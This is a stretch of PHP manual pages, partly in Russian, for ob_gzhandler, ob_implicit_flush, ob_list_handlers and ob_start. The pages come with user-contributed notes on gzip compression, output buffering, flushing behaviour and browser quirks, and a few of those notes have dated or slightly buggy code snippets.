Jer 16-Apr-2010 04:17
I've just spent 5 hours fighting a bug in my application and outcome is:

<?php
// do not use
ob_start("ob_gzhandler");
// along with
header('HTTP/1.1 304 Not Modified');

// or in the end use
ob_end_clean();
?>

W3C Standart requires response body to be empty if 304 header set. With compression on it will at least contain a gzip stream header even if your output is completely empty!

This affects firefox (current ver.3.6.3) in a very subtle way: one of the requests after the one that gets 304 with not empty body gets it response prepended with contents of that body. In my case it was a css file and styles was not rendered at all, which made problem show up.
przemekryciuk at gmail dot com 23-Jun-2009 02:34
The simplest way for gzip compression is:
<?php
if(!ob_start("ob_gzhandler")) ob_start();
?>
ob_start("ob_gzhandler") returns FALSE if browser doesn't support gzip, so then is called normal ob_start();
walter 11-Dec-2008 07:48
I have a very well tested module in my framework (ie: running in production environments for a couple of years) called 'fastpage', which takes care of both memcaching and gzipping for frequently requested content.  It memcaches one version of each unique page both gzipped and non-gzipped, and returns the appropriate version based upon the browser's Accept-encoding header.

Use is:
$page_spec = array($dependent,$variables,$go,$here);
if(!fastpage_display('content_id',$page_spec)) {
 ... make page here ...
 fastpage_displayed('content_id',$page_spec);
}

Unfortunately, on IE8 beta (in IE8 mode, or in IE7 emulation mode), the fastpage-enabled content was not being un-gzipped.  IE would request the content, a 200 status and correct byte count would appear in the server logfile, and IE would show no errors.  However, CSS would not be applied and Javascript would not execute.

The only fix I can find right now is to disable gzip entirely for this browser.  User agent string is: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727

The same output works fine in firefox (windows, linux, mac), and in safari.

Versions are: zlib 1.2.3-r1 / php 5.2.6-r7 / lighttpd 1.4.20

So much for the 'this has been fixed in IE7' comment, above...
ronald at hidden dot com 26-Aug-2008 01:15
Hi,

if you are using apache, I think you are much better of using apache's compression, as this will also compress static text files (css, js, html, etc) and it will keep your php-code clean.

See http://httpd.apache.org/docs/2.0/mod/mod_deflate.html for an excellent how to.

And for other webservers, I'm pretty sure they have equivalents.

Cheers, Ronald
maratd at gmail dot com 29-Aug-2007 08:51
Someone previously mentioned that MSIE doesn't cache gzipped content. This is false. He misread the source of information. In fact, IE will cache gzipped content no matter what. Here is the quote from the mailing list:

The reason the COMPRESSED responses are, in fact,
always getting cached no matter what "Vary:" field name
is present is just as I suspected... it is because MSIE
decides it MUST cache responses that arrive with
"Content-Encoding: gzip" because it MUST have a
disk ( cache ) file to work with in order to do the
decompression.

Source: http://lists.over.net/pipermail/mod_gzip/2002-December/006826.html
tehjosh at gamingg dot net 01-Aug-2007 04:18
faisun at sina dot com:
If you read up on output buffering, you'll see that if an output buffer callback returns false, this instructs PHP to output the original string untouched.  That's why ob_gzhandler() returns false if the encoding is not supported.   When ob_start("ob_gzhandler") is used and encoding is not supported, ob_gzhandler() will return false and PHP outputs the original, uncompressed string.

jsnell at e-normous dot com:
Output buffering callback functions accept up to two parameters, so this would probably work better for your situation:

<?php
function ob_gz_handler_no_errors($buffer, $mode)
{
    @ob_gzhandler($buffer, $mode);
}

ob_start('ob_gzhandler_no_errors');
?>

However, if you're trying to suppress errors caused by headers already being sent, it would be better to start the output buffering earlier, before any output can be sent.
jsnell at e-normous dot com 31-May-2007 11:04
If you want to suppress errors (such as for cases when headers are already sent) and you don't want to write or patch your error_handler, you need to create an intermediate callback:

function ob_gz_handler_no_errors($buffer)
{
    @ob_gzhandler($buffer);
}

ob_start('ob_gzhandler_no_errors');
nicolas dot grekas+php at gmail dot com 28-Jan-2007 10:45
Here are some precisions :

- the "mode" arg accepts a bit field composed of PHP_OUTPUT_HANDLER_START, PHP_OUTPUT_HANDLER_CONT and PHP_OUTPUT_HANDLER_END. See http://www.php.net/manual/fr/ref.zlib.php#56216 for an example. The value that jazfresh recommends below (5) is the good one, because 5 == PHP_OUTPUT_HANDLER_START | PHP_OUTPUT_HANDLER_END.

- when called INSIDE an output buffering handler, ob_gzhandler DOES NOT return false when the browser doesn't support compressed pages. It rather returns the original string.
spam_this at zleelz dot com 26-Aug-2006 11:49
When writing scripts for distribution, I would usually "null" out the following deprecated superglobals so that users who uses the script will not be able to use them.
<?php
$HTTP_GET_VARS = null;
$HTTP_POST_VARS = null;
$HTTP_COOKIE_VARS = null;
$HTTP_POST_FILES = null;
$HTTP_SERVER_VARS = null;
?>

However, when using ob_start('ob_gzhandler'), one of those superglobals somehow disable this function.

Found out that it was $HTTP_SERVER_VARS that's causing the problems.

<?php
ob_start('ob_gzhandler');

$HTTP_GET_VARS = null;
$HTTP_POST_VARS = null;
$HTTP_COOKIE_VARS = null;
$HTTP_POST_FILES = null;
/**
 * Causing the trouble
 */
//$HTTP_SERVER_VARS = null;
?>

I don't know why it does that, but I just want to point that out.
richard at mf2fm dot com 11-Jul-2006 02:50
According to the manual, if ob_gzhander detects that the browser is unable to support deflate or gzip it returns FALSE.  Does this mean that if you use ob_start("ob_gzhandler"), any browsers that do not support gzip/deflate will receive a blank page?

I've been having problems with IE6 displaying gzipped pages and adding a test:

<?php

if (substr_count($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')) ob_start("ob_gzhandler");

else ob_start();

?>

solved the problem.  Surely if ob_gzhandler detects a lack of support for deflation it should return the input unchanged and not FALSE?
mariusads[at]helpedia[dot]com 04-Feb-2006 09:56
Please be aware that, as other users have already mentioned, the compression will fail if there are characters before the php start tag "< ?".

This is also the case when saving files in UTF-8 format with editors such as Ultraedit. Make sure you save the file using the defined option UTF-8 NO BOM or delete the BOM otherwise the two UTF BOM characters will be written at the start of the file.
lapoint2 at msu dot edu 06-Sep-2005 06:40
So why doesn't the web server just do this by default?
This works for me if I do:
ini_set('zlib.output_compression_level', 3);  ob_start("ob_gzhandler");
or even just:
ob_start("ob_gzhandler");

I did the level 3 compression, I think the default was 6 and I didn't want to put too much load on the server.  For a 895k file (my largest) the compression levels were:
1 = 189k
3 = 178k
4 = 163k
6 = 156k    (I believe 6 is the default if you leave out the ini_set)
9 = 155k
I use http://www.whatsmyip.org/mod_gzip_test/ to check the sizes.

FYI: This works with dynamic files in Movable Type 3.x (I'm testing it in 3.2) I've got the above command in the first line of my mtview.php file.

More info here: http://www.whatsmyip.org/forum/viewtopic.php?t=43

On several sites I've read the some browsers don't like compressed CSS.
Tony Piper 14-Jun-2005 07:11
I just spent 30 minutes wondering why my browser wasn't getting the gzipped version :-O

If you're using Google Web Access your pages will  be delivered to the browser uncompressed unless you tell GWA to ignore the specific site.

Obvious, really.
24-May-2005 03:27
No matter the circumstances, you MUST NOT check the user agent string to find out if gzip compression is enabled. HTTP defines the Accept-Encoding header for exactly this purpose and you MUST check it before enabling compression.
m at rtij dot nl 16-Apr-2005 05:29
All versions of MSIE have a bug where they don't cache gzipd contents. If your application depends on caching, this is something to keep in mind. In the end, I did:

<?php

// These are so benificial, they default to true.
if (!isset($use_page_cache))
    $use_page_cache = 1;
if (!isset($use_compression))
    $use_compression = 1;

// Add browsers here as we must detect them. Opera is an oddball, if we don't detect
// it specifically, it will turn up as MSIE

$browser="other";
if (isset($_SERVER['HTTP_USER_AGENT'])) {
    $agent = $_SERVER['HTTP_USER_AGENT'];
    if (eregi("opera",$agent)){
    $browser="opera";
    }elseif(eregi("msie",$agent)){
    $browser="msie";
    }
}

if ($use_compression && !( $use_page_cache && $browser == "msie")) {
    // Turn on compression, makes quite a difference in bandwith usage.
    // However, MSIE (all versions) have a bug with compression and caching. So for MSIE
    // it's either compression or caching. We choose caching.
    ob_start('ob_gzhandler');
}

session_cache_limiter("must-revalidate");

session_start();

// ... put stuff in $content ...

if ($use_page_cache) {
    // MD5 is slow, however with a fast server (PIII or better) we should be OK
    $hash = md5($content);
    $headers = getallheaders();
    if (isset($headers['If-None-Match']) && ereg($hash, $headers['If-None-Match']))
    {
    header('HTTP/1.1 304 Not Modified');
    exit;
    }
    header("ETag: \"$hash\"");
}

print $content;

?>
grange (at) club-internet (dot) fr 07-Mar-2005 07:17
It may seem obvious but if you use ob_start("ob_gzhandler"),  make sure no content is unintentionally echo'ed before : this could be blank lines before '<?php' or after '?>' tags in included files or even errors.

Otherwise, only a part of the content (the content sent after ob_start()) will be compressed, which will confuse the client.

Setting compression using zlib.output_compression either in php.ini or in Apache configuration file (with directive php_flag) is safer in this regard.
mazsolt at yahoo dot com 18-Mar-2004 07:20
if you want to send an output to the browser (which accepts gzip), and you haven't set the buffering callback ob_start("ob_gzhandler"), you may use the gzencode() function.

header("Content-Encoding: gzip");
echo gzencode("some output", 9, FORCE_GZIP);
brewthatistrue at plzYnoAspamHorOevilO dot com 21-Sep-2003 02:04
i had a LOT of trouble trying to get gzipping working correctly
i kept getting a blank page on the first load, although subsequent pages loaded fine.
i tried stuff with ob_flush and ob_end_clean and all kinds of stuff i didn't understand. i'm totally confused about different versions of php and different methods of gzipping.

in the end, i got it working (maybe i'll understand it later).
i ended up using phpBB's code (stripped of non-gz stuff, and ever-so-slightly modified)
http://phpbb.com/

index.php:
------------
<?php
require_once('top.php');

echo "<html>\n<head>\n<title>Gzip Test</title>\n<body>\n<h1>testing</h1>\n</body>\n</html>";

require_once('bottom.php');
?>

gz_header.php - taken form phpBB's page_header.php
--------------
<?php
    $phpver = phpversion();

    $useragent = (isset($_SERVER["HTTP_USER_AGENT"]) ) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT;

    if ( $phpver >= '4.0.4pl1' && ( strstr($useragent,'compatible') || strstr($useragent,'Gecko') ) )
    {
        if ( extension_loaded('zlib') )
        {
            ob_start('ob_gzhandler');
        }
    }
    else if ( $phpver > '4.0' )
    {
        if ( strstr($HTTP_SERVER_VARS['HTTP_ACCEPT_ENCODING'], 'gzip') )
        {
            if ( extension_loaded('zlib') )
            {
                $do_gzip_compress = TRUE;
                ob_start();
                ob_implicit_flush(0);

                header('Content-Encoding: gzip');
            }
        }
    }
?>
gz_footer.php - taken form phpBB's page_tail.php
------------
<?php
// Compress buffered output if required and send to browser
if ( $do_gzip_compress )
{
    //
    // Borrowed from php.net!
    //
    $gzip_contents = ob_get_contents();
    ob_end_clean();

    $gzip_size = strlen($gzip_contents);
    $gzip_crc = crc32($gzip_contents);

    $gzip_contents = gzcompress($gzip_contents, 9);
    $gzip_contents = substr($gzip_contents, 0, strlen($gzip_contents) - 4);

    echo "\x1f\x8b\x08\x00\x00\x00\x00\x00";
    echo $gzip_contents;
    echo pack('V', $gzip_crc);
    echo pack('V', $gzip_size);
}

exit;
?>

i must admit to not seeing this working in opera 7.11. perhaps i will figure that one out.
if there is anything i should change email me and i can edit my post
jazfresh at SPAM-JAVELIN dot hotmail dot com 18-Sep-2003 07:54
In the set_error_handler notes, there is a technique described for capturing all errors (even parse errors) before they are displayed the user, using a special error handler and output handler. If this output handler detects a fatal error in the output buffer, it's captured and dealt with before it can be displayed to the user. If no error was detected, then output buffer is displayed verbatim (i.e. without being compressed).

If you are using this method, you can still take advantage of ob_gzhandler's compression. However, you MUST specify a mode argument (I'm using 4.2.2 on RedHat9). The mode value affects which headers are automatically added (Content-Encoding, etc). A value of '5' worked for me. '0' or discarding the argument produces a blank screen under Mozilla.

<?php

function my_output_handler(&$buffer) {
  // Detect errors in the output
  if(ereg("(error</b>:)(.+) in <b>(.+)</b> on line <b>(.+)</b>", $buffer, $regs)) {
    my_error_handler(E_ERROR, $regs[2], $regs[3], $regs[4]);
    // ...
    // ... Insert your error handling here ...
    // ...
    return 'An internal error occurred.';
  } else {
    // The page rendered without any errors, so compress
    // and output.
    return ob_gzhandler($buffer, 5);
  }
}
?>
daijoubu at videotron dot ca 06-Sep-2003 04:35
About the previous note from Davey:

ob_start(array('ob_gzhandler',9));

Does not work. The output size isn?t affected at all, stays the same.

ob_gzhandler compression level use zlib.output_compression_level, which is -1 per default, level 6.

To change the compression level on the fly, simply use ini_set:
<?php
ini_set('zlib.output_compression_level', 1);
ob_start('ob_gzhandler');
echo 'This is compressed at level 1';
?>
09-Apr-2003 10:47
When using ob_start("ob_gzhandler"), be aware that the output buffer has to be flushed in order to invoke the ob_gzhandler callback function.

This may not always happen. For example, if you use ob_get_contents() to copy the output buffer to a string for further manipulation and then silently discard the buffer with ob_end_clean(), the output buffer is never "flushed" and as a result, the ob_gzhandler callback function is never invoked. And your pages won't be compressed.

This will be the case, for example, if you use the PHP Fusebox architecture/framework.
davey at its-explosive dot net 03-Apr-2003 06:41
To pass the second argument to ob_gzhandler() which specifies what level of compression should be used (which I assume is 1-9 as with the gzip binary, with 9 using the most processor and time to do, 4 is the standard IIRC) you must call ob_start() like so:

ob_start(array('ob_gzhandler',9));

- Davey
nospam at 1111-internet dot com 08-Mar-2003 03:23
Differences between zlib.output_compression and ob_gzhandler:

zlib.output_compression runs in parallel with script execution - it begins compressing as soon as it receives any output from your script, and sends data to the client each time its buffer (4K by default) gets full. ob_gzhandler (actually 'ob_start("ob_gzhandler");') will not start compressing until the script flushes (or, usually, exits), and will in turn send the entire compressed document at once - which makes it more susceptible to causing a perception of latency.

Advantage: zlib.output_compression

On the other hand, ob_gzhandler gives you script-level control allowing you to use it selectively or to unset it after setting it in certain cases. Despite some documentation to the contrary, zlib.output_compression does not appear to be able to be set or unset on a script level; you must instead set it globally (in php.ini) or in your webserver configs or .htaccess files, possibly using FilesMatch-type mechanisms to control which scripts it will or won't apply to - which could get unwieldy for large projects - particularly those which employ PHP to produce images and other non-text output in addition to normal text output.

Advantage: ob_gzhandler

Net advantage: depends on your particular needs. I'm trying zlib.output_compression for now, but I miss the flexibility that ob_gzhandler would provide.

p.s. here's an Apache 1.3.* httpd.conf/.htaccess file snippet that demonstrates the syntax for conditionally setting zlib.output_compression:

<FilesMatch "\.(php|html?)$">
# turn it on with the buffer set to 2K using php_value
php_value zlib.output_compression 2048
# or just turn it on using php_flag
# php_flag zlib.output_compression On
</FilesMatch>
aki at robotnik dot net 04-Mar-2003 11:13
if you get errors like:
"output handler 'ob_gzhandler' cannot be used twice"
if you are using
"ob_start("ob_gzhandler");"

check for your php.ini file, it should look like this:

output_buffering = Off  ; delete the 4096k value
output_handler =
zlib.output_compression = Off
dsugar100 at dolphinsoft dot com 06-Nov-2002 03:33
I have noticed that if you have the php setting for zlib.output_compression set to 'On' AND you attempt to use hte ob_gzhandler handler to ob_start () the output you get in the browser WILL be garbled in PHP 4.2.3.  I'm guessing that the output buffering is compressing the output to be sent, and then zlib is doing it a second time, but the browser is only uncompressing it once.

But using either one will give you the same results (compressed output from the script)
psychones at ifrance dot com 08-Aug-2002 05:18
Problem revelate by xn@bnw.com

cause real problem when you have a global call
to ob_gzhandler , for example in an include configuration
file , and you want send a non gzip content , for any reason ...

To resolve it ,

put this after your global call to ob_gzhandler

include("conf_that_call_ob_gzhandler.php");
-->ob_end_clean();
-->header("Content-Encoding: none");

If you try to overload the header before the the ob_gzhandler call
or during the buffering output , it will not work .
( probably erase at the call of ob_gzhandler  and not allow during
buffering ).

Hope this help
isoma at altavista dot net 24-Jun-2002 07:44
RFC 2616 suggests that a more correct way to compress documents on the fly is to use gzip transfer encoding rather than gzip content encoding.    However, it's perhaps not advisable to use this since client support for it is extremely limited.

The difference is most evident when you come to save a file from your browser.  If it's gzip content encoded then the browser should (and may well) save it gzipped.  If it's gzip transfer encoded then the browser should uncompress it first.
xn at bnw dot com 12-Apr-2002 08:40
if you call ob_end_clean() after ob_start("ob_gzhandler"), the "Content-Encoding: gzip" header will still get sent (assuming the browser supports the encoding).  if you don't call ob_start() again with the ob_gzhandler callback function, the output will not be compressed, but the header will say it is.  this causes mozilla (as of build 2002032808) to display a blank page.
junior at jaj dot com 04-Mar-2002 10:12
To get this to work properly, you have to compile PHP with "--with-zlib". If you don't, you won't get any errors, it just won't actually compress anything. This is a phenomenal thing. For just a small bit of processor time, you can DRASTICALLY reduce the bandwidth requirement of your scripts. There are very few circumstances in which this should not be used.


Включение/выключение неявного сброса

  • « ob_gzhandler
  • ob_list_handlers »
  • PHP Manual
  • Функции контроля вывода
  • Включение/выключение неявного сброса

ob_implicit_flush

(PHP 4, PHP 5, PHP 7, PHP 8)

ob_implicit_flush — Включение/выключение неявного сброса

Описание

ob_implicit_flush(bool $enable = true): void

ob_implicit_flush() включает или выключает неявный сброс. Неявный сброс приводит к тому, что операция сброса выполняется после каждого вывода, поэтому явные вызовы функции flush() больше не понадобятся.

Список параметров

enable

true для включения неявного сброса, false в противном случае.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Список изменений

Версия | Описание
8.0.0 | enable теперь принимает логическое значение (bool); ранее принималось целое число (int).

Смотрите также

  • flush() - Сброс системного буфера вывода
  • ob_start() - Включение буферизации вывода
  • ob_end_flush() - Сбросить (отправить) буфер вывода и отключить буферизацию вывода

User Contributed Notes

damian at thebestisp dot dot dot com 28-Mar-2016 04:06
It seems like some people are using this to workaround output buffering instead of simply turning it off. To me, if you have an output buffer, it's there for a reason, otherwise you would either do stuff and use ob_flush() or ob_end_flush(), do stuff, and maybe ob_start() again.
Here's how to properly end all output buffers without having to suppress errors (due to there not being any buffers). If you do want a single level of output buffering, I've included a piece for that as well.
<?php
#Get rid of output buffer entirely
while (ob_get_level()) {ob_end_flush();}

#Make sure we have 1 level of output buffering if this isn't CLI.
$notcli=(int)(PHP_SAPI!=='cli');
while (($diff=ob_get_level()-$notcli)!==0) {
    if ($diff>0) {ob_end_flush();}
    else {ob_start();}
}
Pedro Gimeno 22-Feb-2015 06:11
Note that the name ob_implicit_flush is misleading. Despite its name, this function does NOT work with the user output buffer, i.e. the one that the rest of the ob_* functions work with. It will NOT do an automatic ob_flush(). It will do an automatic flush(). Different things.

For example, the following script:

<?php
  ob_implicit_flush();
  for($i = 0; $i < 10; $i++)
  {
    echo "$i\n";
    sleep(1);
  }
?>

will be equivalent to this one:

<?php
  for ($i = 0; $i < 10; $i++)
  {
    echo "$i\n";
    flush();
    sleep(1);
  }
?>

That script will not output anything until the end, if 'output_buffering' is set to 'on' in php.ini. Unfortunately, there is no way to do an implicit ob_flush() after each output, that I am aware of.

If you want the output to come out as it is generated, one solution is to *also* add ob_end_clean() or ob_end_flush() to the beginning of the script:

<?php
  ob_end_flush();
  ob_implicit_flush();
  for ($i = 0; $i < 10; $i++)
  {
    echo "$i\n";
    sleep(1);
  }
?>

This will output as it goes. This is only a problem if you only want one part of the output to come out in real time, and want the rest buffered. In that case, since there's no function to do an implicit ob_flush() every time, you need to call it explicitly. For example, this works:

<?php
  ob_start(); // not needed if output_buffering is on in php.ini
  ob_implicit_flush(); // implicitly calls flush() after every ob_flush()

  echo "This output is buffered.\n";
  echo "As is this.\n";

  for ($i = 0; $i < 10; $i++)
  {
    echo "$i\n";
    ob_flush();
    sleep(1);
  }
?>

Note also that some browsers may wait until they have a certain amount of output. See flush [ http://php.net/manual/en/function.flush.php ] for details. It was my case with Firefox (Iceweasel 17.0); unless I output 1024 bytes at the beginning, it does not begin to output.
rocca at start dot ca 09-Oct-2007 11:42
You can also get the unbuffered output with Linux/Apache without having to do the implicit flush after each line by calling:

ob_implicit_flush(true);
ob_end_flush();

...at the start of the script.
Paul Yanchenko 21-Jan-2006 04:15
There is another workaround for ob_implicit_flush() in console. Yes, it doesn't works as expected, but you can get similar result by specifying chunk_size=2 in ob_start():

<?php
  ob_start('ob_logstdout', 2);
?>

This will result that every new line (which ends with \n) will flush output buffer.

Hope this will help you.
mhumphrey at _spammenot_designvision dot com 18-Aug-2003 02:41
From experimenting, it looks like using sessions with session.use_trans_sid=1 will force your output to be buffered regardless of this setting.

My guess is that this is so PHP can hunt for URLs in your output to automatically add the Session ID to them.  It must wait until script output is complete before it starts that replacement, rather than doing it "on the fly".

When i comment out my session_start() line, i get continuous output to the browser.  Put it back in, and i only see the page when it's completely loaded.  Change session.use_trans_sid = 0 and i get continuous output again.
calimero at Creatixnet dot com 07-Jul-2003 12:00
######### BEWARE ##########

There is a bug (or at least an unexpected feature of ob_implicit_flush) that has been already discussed on the PHP bugtracker :

http://bugs.php.net/bug.php?id=23877
http://bugs.php.net/bug.php?id=16676

Code like this WILL NOT work :

<?
// This will not work as expected on Linux.
ob_implicit_flush (1);
for($i=0;$i<10;$i++) {
   echo "grrrrrrrrrr\n";
   sleep(1);
}
?>

This feature happens on Linux versions of PHP, in all versions of php4 prior to 4.3.3 (don't know yet for the next ones) but also in php5 beta1. ob_implicit_flush has NO EFFECT on command-line (console, CLI) scripts, no flushing at all will be made, all output will be sent at the end of the script.

There is a workaround using ob_end_flush() and ob_flush, here it is :

<?
// This works !
ob_end_flush();
for($i=0;$i<10;$i++) {
  echo "yeah :-))))\n";
  @ob_flush();
  sleep(1);
}
?>

hope this will help. It would have helped me...


Список всех используемых обработчиков вывода

  • « ob_implicit_flush
  • ob_start »
  • PHP Manual
  • Функции контроля вывода
  • Список всех используемых обработчиков вывода

ob_list_handlers

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

ob_list_handlers — Список всех используемых обработчиков вывода

Описание

ob_list_handlers(): array

Список всех используемых обработчиков вывода.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция вернёт массив с используемыми обработчиками вывода (если имеются). Если включён output_buffering или использовалась анонимная функция вместе с ob_start(), то ob_list_handlers() вернёт "default output handler".

Примеры

Пример #1 Пример использования функции ob_list_handlers()

<?php
//используется output_buffering=On
print_r(ob_list_handlers());
ob_end_flush();

ob_start("ob_gzhandler");
print_r(ob_list_handlers());
ob_end_flush();

// анонимная функция
ob_start(function($string) { return $string; });
print_r(ob_list_handlers());
ob_end_flush();
?>

Результат выполнения данного примера:

Array
(
    [0] => default output handler
)

Array
(
    [0] => ob_gzhandler
)

Array
(
    [0] => Closure::__invoke
)

Смотрите также

  • ob_end_clean() - Очистить (стереть) буфер вывода и отключить буферизацию вывода
  • ob_end_flush() - Сбросить (отправить) буфер вывода и отключить буферизацию вывода
  • ob_get_flush() - Сбросить буфер вывода, вернуть его в виде строки и отключить буферизацию вывода
  • ob_start() - Включение буферизации вывода

User Contributed Notes

There are no user contributed notes for this page.


Включение буферизации вывода

  • « ob_list_handlers
  • output_add_rewrite_var »
  • PHP Manual
  • Функции контроля вывода
  • Включение буферизации вывода

ob_start

(PHP 4, PHP 5, PHP 7, PHP 8)

ob_start — Включение буферизации вывода

Описание

ob_start(callable $callback = null, int $chunk_size = 0, int $flags = PHP_OUTPUT_HANDLER_STDFLAGS): bool

Эта функция включает буферизацию вывода. Если буферизация вывода активна, никакой вывод скрипта не отправляется (кроме заголовков), а сохраняется во внутреннем буфере.

Содержимое этого внутреннего буфера может быть скопировано в строковую
переменную, используя ob_get_contents(). Для вывода
содержимого внутреннего буфера следует использовать ob_end_flush().
В качестве альтернативы можно использовать ob_end_clean()
для очистки содержимого буфера.

Внимание

Некоторые веб-серверы (например, Apache) изменяют рабочую директорию скрипта при вызове callback-функции. Вы можете вернуть её назад, используя chdir(dirname($_SERVER['SCRIPT_FILENAME'])) в callback-функции.

Буферы вывода помещаются в стек, то есть допускается вызов ob_start() после вызова другой активной ob_start(). При этом необходимо вызывать ob_end_flush() соответствующее количество раз. Если активны несколько callback-функций, вывод последовательно фильтруется для каждой из них в порядке вложения.

Если буферизация вывода всё ещё активна, когда скрипт завершает работу, PHP автоматически выводит содержимое.

Список параметров

callback

Можно задать необязательный параметр callback. Эта функция принимает строку в виде аргумента и должна также вернуть строку. Она вызывается при сбросе (отправке) или очистке (с помощью ob_flush(), ob_clean() или подобных функций) или если буфер вывода сбрасывается в браузер по окончанию запроса. При вызове функции callback, она получает содержимое буфера и, как ожидается, должна вернуть обновлённое содержимое для буфера вывода, которое будет отправлено браузеру. Если callback не является допустимой функцией, то эта функция вернёт false. Описание функции для этого параметра:

handler(string $buffer, int $phase = ?): string
buffer
Содержимое буфера вывода.
phase
Битовая маска констант PHP_OUTPUT_HANDLER_*.

Если callback вернёт false, то оригинальная информация отправится в браузер без изменений.

Параметр callback может быть игнорирован передачей значения null.

ob_end_clean(), ob_end_flush(), ob_clean(), ob_flush() и ob_start() не могут вызываться из callback-функций, так как их поведение непредсказуемо. Если вы хотите удалить содержимое буфера, то верните "" (пустую строку) из callback-функции. Вы также не можете использовать функции буферизации вывода, такие как print_r($expression, true) или highlight_file($filename, true) из callback-функции.

Замечание:

Функция ob_gzhandler() была введена для облегчения отправки gz-кодированных данных браузерам, поддерживающим сжатые веб-страницы. ob_gzhandler() определяет тип кодировки содержимого, принимаемый браузером, и возвращает вывод соответствующим образом.

chunk_size

Если передан необязательный параметр chunk_size, то буфер буден сброшен после любого вывода, превышающего или равного по размеру chunk_size. Значение по умолчанию 0 означает, что функция вывода будет вызвана, когда буфер будет закрыт.

flags

Параметр flags является битовой маской, которая управляет операциями, которые можно совершать над буфером вывода. По умолчанию она позволяет буферу вывода быть очищенным, сброшенным и удалённым, что равносильно значению PHP_OUTPUT_HANDLER_CLEANABLE | PHP_OUTPUT_HANDLER_FLUSHABLE | PHP_OUTPUT_HANDLER_REMOVABLE или PHP_OUTPUT_HANDLER_STDFLAGS как сокращение этой комбинации.

Каждый флаг управляет доступом к набору функций, как описано ниже:

Константа | Функции
PHP_OUTPUT_HANDLER_CLEANABLE | ob_clean(), ob_end_clean() и ob_get_clean().
PHP_OUTPUT_HANDLER_FLUSHABLE | ob_end_flush(), ob_flush() и ob_get_flush().
PHP_OUTPUT_HANDLER_REMOVABLE | ob_end_clean(), ob_end_flush() и ob_get_flush().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример callback-функции, определённой пользователем

<?php

function callback($buffer)
{
// заменить все яблоки апельсинами
return (str_replace("яблоки", "апельсины", $buffer));
}

ob_start("callback");

?>
<html>
<body>
<p>Это всё равно что сравнить яблоки и апельсины.</p>
</body>
</html>
<?php

ob_end_flush();

?>

Результат выполнения данного примера:

<html>
<body>
<p>Это всё равно что сравнить апельсины и апельсины.</p>
</body>
</html>

Пример #2 Создание нестираемого буфера вывода

<?php

ob_start(null, 0, PHP_OUTPUT_HANDLER_STDFLAGS ^ PHP_OUTPUT_HANDLER_REMOVABLE);

?>

Смотрите также

  • ob_get_contents() - Возвращает содержимое буфера вывода
  • ob_end_clean() - Очистить (стереть) буфер вывода и отключить буферизацию вывода
  • ob_end_flush() - Сбросить (отправить) буфер вывода и отключить буферизацию вывода
  • ob_implicit_flush() - Включение/выключение неявного сброса
  • ob_gzhandler() - callback-функция, используемая для gzip-сжатия буфера вывода при вызове ob_start
  • ob_iconv_handler() - Преобразует символы из текущей кодировки в кодировку выходного буфера
  • mb_output_handler() - Callback-функция, преобразующая кодировку символов в выходном буфере
  • ob_tidyhandler() - Функция обратного вызова ob_start для восстановление буфера

User Contributed Notes

php REMOVETHIS at kennel17 dot co dot uk 05-Nov-2021 12:10
Be very careful when returning false from your callback function!

Despite what the documentation says, this is *not* the same as returning the supplied $buffer value, unmodified.  In the context of a 'clean' operation (e.g. ob_clean()) this will result in your callback function being disabled and skipped for any subsequent output.

The answer is to ensure you always return a string value from your callback.  This is likely a bug, and it may get fixed at some point, but it applies to all versions since PHP 5.4 up to the current version (8.1 at time of writing).  Note that it was not an issue on PHP 5.3 and below.

Some more detail can be seen on this Stack Overflow question: https://stackoverflow.com/questions/69845122/

A demonstration of the issue has been set up in this fiddle: https://3v4l.org/66cai
mbutscher at gmx dot de 24-Sep-2016 12:52
In case of an error the contents of the output buffer are shown along with the error message. If it is really important that this does never happen, you can do the following (but this also eats up the error message):

<?php
$outputbufferOutput = FALSE;

function switchableOutputHandler($buffer) {
    global $outputbufferOutput;

    if ($outputbufferOutput)
        return $buffer;
    else
        return "";
}

function internob_start() {
    global $outputbufferOutput;

    $outputbufferOutput = FALSE;
    return ob_start("switchableOutputHandler");
}

function internob_get_clean() {
    global $outputbufferOutput;

    $outputbufferOutput = TRUE;
    $result = ob_get_clean();
    $outputbufferOutput = FALSE;
    return $result;
}

?>

You can then use internob_start() and internob_get_clean() instead of ob_start() and ob_get_clean(). Other functions can be replaced accordingly.
bty-adminf2 at trebly dot net 28-Jul-2015 05:27
This concerns the default values used for ob_start().

Note that I could verify that ob_start() and ob_start(null,0) are not always equivalent.

It seems that with ob_start() the output buffer is open with current default parameters of your configuration if they have been explicitly defined.

So, if you have set $chunk_size to any value previously and send data larger than $chunk_size the data will be automatically flushed by blocks of $chunk_size.

If you explicitely define $chunk_size=0, later, when you will use any function as $my_ob_dataoutput=ob_get_clean(); you  will get back the whole content of your output (quite unlimited with $chunk_size=0).

I discover this because my var $my_ob_dataoutput was truncated. Using "ob_get_status (true)" function, I could verify that an error (in a lower level or by default out of my control) was setting previously the $chunk_size of ob at 4096.
I changed "ob_start()" for "ob_start(null,0)" and everything became OK.
jhlavon 19-Jun-2013 12:47
When used in constructor part of class it have to be prefixed by "self::" or by classname, else PHP fails to create buffer.

function __construct ()
{

$bo = ob_start ("self::callback_ob") ;
...
}
me at haravikk dot com 19-Jun-2012 07:26
I think it's worth noting that while you can't call any output functions such as echo or print from within a callback function, you can still send headers (presumably including cookies, haven't checked). Of course this only works in the first callback, like so:

<?php

function myCallback($buffer, $flags) {
    if ($flags & PHP_OUTPUT_HANDLER_START) {
        header('Server: LastMinuteHeaderServer');
    }
}

ob_start('myCallback');
echo "Hello World!";
ob_end_flush();

?>

Not the most inspiring example, but in this case the code is able to sneak a last-minute header in before the headers part of the response is sent. This can be handy if you want to avoid replacing header values that are uncertain.

For example if your code may return an image, but you don't want to set content type until you're sure that the image can be sent successfully, you can use the callback to leave the decision right until the very last moment, by which point you're hopefully sure of what's being sent in the HTTP body.
mchojrin at gmail dot com 30-May-2012 02:23
Just a word of warning to those like myself who are upgrading from 5.3. I have a piece of code that used to work:

<?php
if ( !ob_start( !DEBUGMODE ? 'ob_gzhandler' : '' ) ) {
    ob_start();
}
?>

